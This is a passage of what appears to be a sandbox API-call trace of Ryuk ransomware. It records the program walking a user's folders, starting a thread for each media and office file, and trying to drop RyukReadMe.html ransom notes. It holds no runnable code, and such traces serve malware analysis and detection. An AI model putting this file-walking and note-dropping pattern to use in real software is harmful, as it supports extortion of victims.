	[0206.524] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa777f30, ftCreationTime.dwHighDateTime=0x1d5bb55, ftLastAccessTime.dwLowDateTime=0xe4b2ce30, ftLastAccessTime.dwHighDateTime=0x1d5bf50, ftLastWriteTime.dwLowDateTime=0xe4b2ce30, ftLastWriteTime.dwHighDateTime=0x1d5bf50, nFileSizeHigh=0x0, nFileSizeLow=0x18a43, dwReserved0=0x210, dwReserved1=0x0, cFileName="B9VEQXx.flv", cAlternateFileName="")) returned 1
	[0206.524] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x544
	[0206.526] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.527] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5f3e4e0, ftCreationTime.dwHighDateTime=0x1d5bc16, ftLastAccessTime.dwLowDateTime=0xe35d9fa0, ftLastAccessTime.dwHighDateTime=0x1d5c44c, ftLastWriteTime.dwLowDateTime=0xe35d9fa0, ftLastWriteTime.dwHighDateTime=0x1d5c44c, nFileSizeHigh=0x0, nFileSizeLow=0xde8e, dwReserved0=0x210, dwReserved1=0x0, cFileName="BDM2QhO.jpg", cAlternateFileName="")) returned 1
	[0206.527] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x548
	[0206.530] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.531] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
	[0206.531] SetLastError (dwErrCode=0x0) 
	[0206.531] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.531] GetLastError () returned 0x3
	[0206.531] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.531] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.532] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0206.532] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0206.561] SetLastError (dwErrCode=0x0) 
	[0206.562] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cookies\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.562] GetLastError () returned 0x3
	[0206.562] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.563] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.563] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3720540, ftCreationTime.dwHighDateTime=0x1d5c43c, ftLastAccessTime.dwLowDateTime=0xd14eafa0, ftLastAccessTime.dwHighDateTime=0x1d5b85a, ftLastWriteTime.dwLowDateTime=0xd14eafa0, ftLastWriteTime.dwHighDateTime=0x1d5b85a, nFileSizeHigh=0x0, nFileSizeLow=0xead, dwReserved0=0x210, dwReserved1=0x0, cFileName="D0W  zImaBM4n.mp4", cAlternateFileName="D0WZIM~1.MP4")) returned 1
	[0206.563] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c
	[0206.567] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.568] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbe929a0, ftCreationTime.dwHighDateTime=0x1d5b7d0, ftLastAccessTime.dwLowDateTime=0x2026e2c0, ftLastAccessTime.dwHighDateTime=0x1d5b971, ftLastWriteTime.dwLowDateTime=0x2026e2c0, ftLastWriteTime.dwHighDateTime=0x1d5b971, nFileSizeHigh=0x0, nFileSizeLow=0x3cfe, dwReserved0=0x210, dwReserved1=0x0, cFileName="dL0Fi75.mp4", cAlternateFileName="")) returned 1
	[0206.568] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550
	[0206.572] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.572] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53204b20, ftCreationTime.dwHighDateTime=0x1d5b64d, ftLastAccessTime.dwLowDateTime=0xe4904320, ftLastAccessTime.dwHighDateTime=0x1d5bcc0, ftLastWriteTime.dwLowDateTime=0xe4904320, ftLastWriteTime.dwHighDateTime=0x1d5bcc0, nFileSizeHigh=0x0, nFileSizeLow=0x1628e, dwReserved0=0x210, dwReserved1=0x0, cFileName="Ejt2Fb952ZvwQ.pps", cAlternateFileName="EJT2FB~1.PPS")) returned 1
	[0206.572] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.573] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554
	[0206.575] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.576] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xae35b000, ftCreationTime.dwHighDateTime=0x1d5c1f5, ftLastAccessTime.dwLowDateTime=0x58f61e20, ftLastAccessTime.dwHighDateTime=0x1d5c5fd, ftLastWriteTime.dwLowDateTime=0x58f61e20, ftLastWriteTime.dwHighDateTime=0x1d5c5fd, nFileSizeHigh=0x0, nFileSizeLow=0x150a1, dwReserved0=0x210, dwReserved1=0x0, cFileName="etQIDu5e2VcL.wav", cAlternateFileName="ETQIDU~1.WAV")) returned 1
	[0206.576] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558
	[0206.805] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.829] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf843bd30, ftCreationTime.dwHighDateTime=0x1d5c124, ftLastAccessTime.dwLowDateTime=0x70eaf730, ftLastAccessTime.dwHighDateTime=0x1d5bff4, ftLastWriteTime.dwLowDateTime=0x70eaf730, ftLastWriteTime.dwHighDateTime=0x1d5bff4, nFileSizeHigh=0x0, nFileSizeLow=0x712d, dwReserved0=0x210, dwReserved1=0x0, cFileName="F8_7cJIxa0Q9_.mp3", cAlternateFileName="F8_7CJ~1.MP3")) returned 1
	[0206.829] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568
	[0206.833] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.834] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x794e8a70, ftCreationTime.dwHighDateTime=0x1d5bf10, ftLastAccessTime.dwLowDateTime=0x95ae70e0, ftLastAccessTime.dwHighDateTime=0x1d5c2ee, ftLastWriteTime.dwLowDateTime=0x95ae70e0, ftLastWriteTime.dwHighDateTime=0x1d5c2ee, nFileSizeHigh=0x0, nFileSizeLow=0x15f04, dwReserved0=0x210, dwReserved1=0x0, cFileName="FD_LfsLgv.swf", cAlternateFileName="FD_LFS~1.SWF")) returned 1
	[0206.834] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c
	[0206.838] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.839] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd33c420, ftCreationTime.dwHighDateTime=0x1d5be84, ftLastAccessTime.dwLowDateTime=0x1e866db0, ftLastAccessTime.dwHighDateTime=0x1d5c4ec, ftLastWriteTime.dwLowDateTime=0x1e866db0, ftLastWriteTime.dwHighDateTime=0x1d5c4ec, nFileSizeHigh=0x0, nFileSizeLow=0xfa24, dwReserved0=0x210, dwReserved1=0x0, cFileName="fJGiIRlEOvBHcXPfy.pdf", cAlternateFileName="FJGIIR~1.PDF")) returned 1
	[0206.839] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570
	[0206.844] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.845] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33d9ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x33d9ad10, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 1
	[0206.845] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574
	[0206.849] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.850] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0206.850] SetLastError (dwErrCode=0x0) 
	[0206.850] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.850] GetLastError () returned 0x3
	[0206.850] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.850] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.850] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0206.850] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0206.850] SetLastError (dwErrCode=0x0) 
	[0206.850] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.851] GetLastError () returned 0x3
	[0206.851] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.851] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.851] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5d217160, ftCreationTime.dwHighDateTime=0x1d5c0a4, ftLastAccessTime.dwLowDateTime=0x9a42e9d0, ftLastAccessTime.dwHighDateTime=0x1d5b83d, ftLastWriteTime.dwLowDateTime=0x9a42e9d0, ftLastWriteTime.dwHighDateTime=0x1d5b83d, nFileSizeHigh=0x0, nFileSizeLow=0xa734, dwReserved0=0x210, dwReserved1=0x0, cFileName="HM2Ftlx uiQ.png", cAlternateFileName="HM2FTL~1.PNG")) returned 1
	[0206.851] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578
	[0206.856] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.856] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e2f5b60, ftCreationTime.dwHighDateTime=0x1d5c2ee, ftLastAccessTime.dwLowDateTime=0xf2fab6e0, ftLastAccessTime.dwHighDateTime=0x1d5c088, ftLastWriteTime.dwLowDateTime=0xf2fab6e0, ftLastWriteTime.dwHighDateTime=0x1d5c088, nFileSizeHigh=0x0, nFileSizeLow=0xa6c8, dwReserved0=0x210, dwReserved1=0x0, cFileName="J_-R87.mkv", cAlternateFileName="")) returned 1
	[0206.857] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c
	[0206.861] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.862] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81051d90, ftCreationTime.dwHighDateTime=0x1d5b715, ftLastAccessTime.dwLowDateTime=0x29745260, ftLastAccessTime.dwHighDateTime=0x1d5c5d6, ftLastWriteTime.dwLowDateTime=0x29745260, ftLastWriteTime.dwHighDateTime=0x1d5c5d6, nFileSizeHigh=0x0, nFileSizeLow=0x3fc8, dwReserved0=0x210, dwReserved1=0x0, cFileName="Ki2c.avi", cAlternateFileName="")) returned 1
	[0206.862] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580
	[0206.866] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.867] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1d36120, ftCreationTime.dwHighDateTime=0x1d5beca, ftLastAccessTime.dwLowDateTime=0x76314170, ftLastAccessTime.dwHighDateTime=0x1d5bfab, ftLastWriteTime.dwLowDateTime=0x76314170, ftLastWriteTime.dwHighDateTime=0x1d5bfab, nFileSizeHigh=0x0, nFileSizeLow=0x14af, dwReserved0=0x210, dwReserved1=0x0, cFileName="l1ORf0q2ulaDN.bmp", cAlternateFileName="L1ORF0~1.BMP")) returned 1
	[0206.867] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584
	[0206.873] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.873] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xab564300, ftCreationTime.dwHighDateTime=0x1d5bbf0, ftLastAccessTime.dwLowDateTime=0xee258640, ftLastAccessTime.dwHighDateTime=0x1d5c3f8, ftLastWriteTime.dwLowDateTime=0xee258640, ftLastWriteTime.dwHighDateTime=0x1d5c3f8, nFileSizeHigh=0x0, nFileSizeLow=0x4155, dwReserved0=0x210, dwReserved1=0x0, cFileName="lQxu.png", cAlternateFileName="")) returned 1
	[0206.873] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588
	[0206.878] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.878] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d515640, ftCreationTime.dwHighDateTime=0x1d5c238, ftLastAccessTime.dwLowDateTime=0x60496ca0, ftLastAccessTime.dwHighDateTime=0x1d5c165, ftLastWriteTime.dwLowDateTime=0x60496ca0, ftLastWriteTime.dwHighDateTime=0x1d5c165, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x210, dwReserved1=0x0, cFileName="LY6Qu.xls", cAlternateFileName="")) returned 1
	[0206.878] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c
	[0206.980] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.984] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd2cdd380, ftCreationTime.dwHighDateTime=0x1d5be16, ftLastAccessTime.dwLowDateTime=0x3dc95e10, ftLastAccessTime.dwHighDateTime=0x1d5c520, ftLastWriteTime.dwLowDateTime=0x3dc95e10, ftLastWriteTime.dwHighDateTime=0x1d5c520, nFileSizeHigh=0x0, nFileSizeLow=0x62e6, dwReserved0=0x210, dwReserved1=0x0, cFileName="MJMk8.m4a", cAlternateFileName="")) returned 1
	[0206.985] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560
	[0206.989] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.990] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dd8a8c0, ftCreationTime.dwHighDateTime=0x1d5bcfb, ftLastAccessTime.dwLowDateTime=0x8a9a45a0, ftLastAccessTime.dwHighDateTime=0x1d5c51c, ftLastWriteTime.dwLowDateTime=0x8a9a45a0, ftLastWriteTime.dwHighDateTime=0x1d5c51c, nFileSizeHigh=0x0, nFileSizeLow=0xd8cc, dwReserved0=0x210, dwReserved1=0x0, cFileName="P1dmCR7ieckSgIIeC9O9.pptx", cAlternateFileName="P1DMCR~1.PPT")) returned 1
	[0206.990] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c
	[0206.994] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.995] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x94e32a60, ftCreationTime.dwHighDateTime=0x1d5c169, ftLastAccessTime.dwLowDateTime=0x376ee9b0, ftLastAccessTime.dwHighDateTime=0x1d5c532, ftLastWriteTime.dwLowDateTime=0x376ee9b0, ftLastWriteTime.dwHighDateTime=0x1d5c532, nFileSizeHigh=0x0, nFileSizeLow=0x1645b, dwReserved0=0x210, dwReserved1=0x0, cFileName="qGOJS5U056zz.m4a", cAlternateFileName="QGOJS5~1.M4A")) returned 1
	[0206.995] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590
	[0207.002] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
